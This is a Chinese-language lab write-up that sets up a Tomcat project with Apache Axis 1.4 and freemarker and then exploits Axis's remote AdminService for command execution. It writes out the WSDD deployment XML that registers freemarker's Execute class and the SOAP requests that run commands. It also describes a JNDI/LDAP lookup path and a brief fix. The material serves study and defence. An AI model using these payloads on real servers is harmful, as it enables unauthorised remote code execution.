近期发现一个高级的漏洞利用姿势——对使用了axis组件的Java项目进行远程命令执行。
IDEA+JavaWeb项目(servlet)+axis-bin-1_4.tar.gz+freemarker-2.3.8.jar+阿里云服务器
一、在本地使用IDEA搭建一个简单的JavaWeb项目
1、GitHub下载一个简单的JavaWeb项目CustomerManagement
2、在阿里云上开启一个Tomcat8的docker,将项目文件传输至Tomcat容器中
将项目的CustomerManagement-master/CustomerManagement_for_Eclipse/WebContent目录(jsp文件)拷贝到阿里云上开启的Tomcat目录的tomcat/webapps/目录下,浏览器访问WebContent目录下的任一jsp文件,访问成功则表示该项目部署成功。
二、在JavaWeb项目中引入axis组件
Axis是Apache组织推出的SOAP引擎,Axis项目是Apache组织著名的SOAP项目的后继项目;
当安装好Tomcat以后,只需将下载的Axis软件包解压缩,将其中的“webapps”目录下的“axis”目录整个拷贝到Tomcat安装目录下的“webapps”目录下便可。
启动Tomcat服务器,在浏览器中访问 http://yourIP:8080/axis/happyaxis.jsp,若是页面显示有错误,则须要回头检查一下相关配置是否正确,若是浏览页面能正确显示出系统组件、属性等参数配置信息,则表示安装成功.
下载的freemarker-2.3.8.jar放在axis/WEB-INF/lib目录下
三、Axis服务发布(参考https://www.cnblogs.com/zhuyx/archive/2008/03/03/10401998.html)
Axis提供了两种服务发布方式,一种是即时发布(Instant Deployment),一种是定制发布(Custom Deployment):
(1)使用即时发布首先须要一个实现服务功能的Java源文件,将其扩展名改成.jws(Java Web Service的缩写),而后将该文件放到“……\webapps\axis”目录下便可,每当用户调用这类服务的时候,Axis会自动进行编译;
(2)将Java源文件编译成.class文件,放置到“……\webapps\axis\samples\capacity”目录下,不须要构建.jws文件,但必须建立服务发布描述文件deploy.wsdd(Web Service Deployment Descriptor的缩写),这个文件负责描述服务的名称、入口等信息,将该文件也放到“……\webapps\axis\samples\capacity”目录下,而后能够采用Axis提供的一个客户端管理工具——AdminClient来完成服务的定制发布。在“……\webapps\axis\samples\capacity”目录下,运行:
java -cp %AXISCLASSPATH% org.apache.axis.client.AdminClient deploy.wsdd
经过访问 http://yourIP:8080/axis/services/Capacity?wsdl能够看到这个服务的WSDL描述文件,这说明Capacity服务被成功发布了
WEB-INF/web.xml 去掉AdminServlet注释
四、漏洞利用部分
当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,向服务对应的jsp文档里写入shell内容,传入要执行的命令,就可以进行远程命令执行漏洞的利用。
打开axis/WEB-INF/server-config.wsdd,设置AdminService enableRemoteAdmin == True
注册服务:
一开始没有
执行命令时需要环境变量找到jar包路径,因此在Tomcat容器中配置环境变量: vim ~/.profile export AXIS_HOME=/var/lib/tomcat8/webapps/axis export AXIS_LIB=$AXIS_HOME/WEB-INF/lib export AXISCLASSPATH=$AXIS_LIB/axis.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/xml-apis.jar:$AXIS_LIB/xercesImpl.jar:$AXIS_LIB/wsdl4j-1.5.1.jar source ~/.profile
输入以下内容,创建deploy.wsdd文件,开启RemoteAdmin服务:
<deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> <service name="AdminService" provider="java:MSG"> <parameter name="className" value="org.apache.axis.utils.Admin"/> <parameter name="allowedMethods" value="*"/> <parameter name="enableRemoteAdmin" value="true"/> </service> </deployment>
root@62790cf064c3:/usr/local/tomcat# cd webapps/axis/WEB-INF/
root@62790cf064c3:/usr/local/tomcat/webapps/axis/WEB-INF# ls
attachments classes deploy.wsdd lib users.lst web.xml
部署刷新配置:
root@62790cf064c3:/usr/local/tomcat/webapps/axis/WEB-INF# java -cp $AXISCLASSPATH org.apache.axis.client.AdminClient deploy.wsdd
log4j:WARN No appenders could be found for logger (org.apache.axis.i18n.ProjectResourceBundle).
log4j:WARN Please initialize the log4j system properly.
Processing file deploy.wsdd
<Admin>Done processing</Admin>
AdminServer注册成功
!--><ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service name="yourName" provider="java:RPC"><ns1:parameter name="className" value="freemarker.template.utility.Execute"/><ns1:parameter name="allowedMethods" value="*"/></ns1:service></ns1:deployment
<ns1:service name="test1Service" provider="java:RPC">
<ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
查看server-config.wsdd
调用执行命令:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:buil="http://build.antlr">
<soapenv:Header/>
<soapenv:Body>
<exec xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<item>
<string xsi:type="soapenc:string">calc</string>
</item>
</exec>
</soapenv:Body>
</soapenv:Envelope>
org.apache.axis.client.ServiceFactory下getService服务中进行了context.lookup操作,也就是说我们注册这个方法并调用传递恶意ldap服务即可完成攻击:
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">/sbin/ifconfig</multiRef></multiRef></soapenv:Body></soapenv:Envelope>
卸载服务:
host=IP&port=8080&url=/services/AdminService?method=!--><ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service name="yourName" provider="java:RPC"><ns1:parameter name="className" value="*"/><ns1:parameter name="allowedMethods" value="*"/></ns1:service></ns1:undeployment&filename=123.jpg
五、漏洞修复
关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.
AdminServlet/servlet/AdminServlet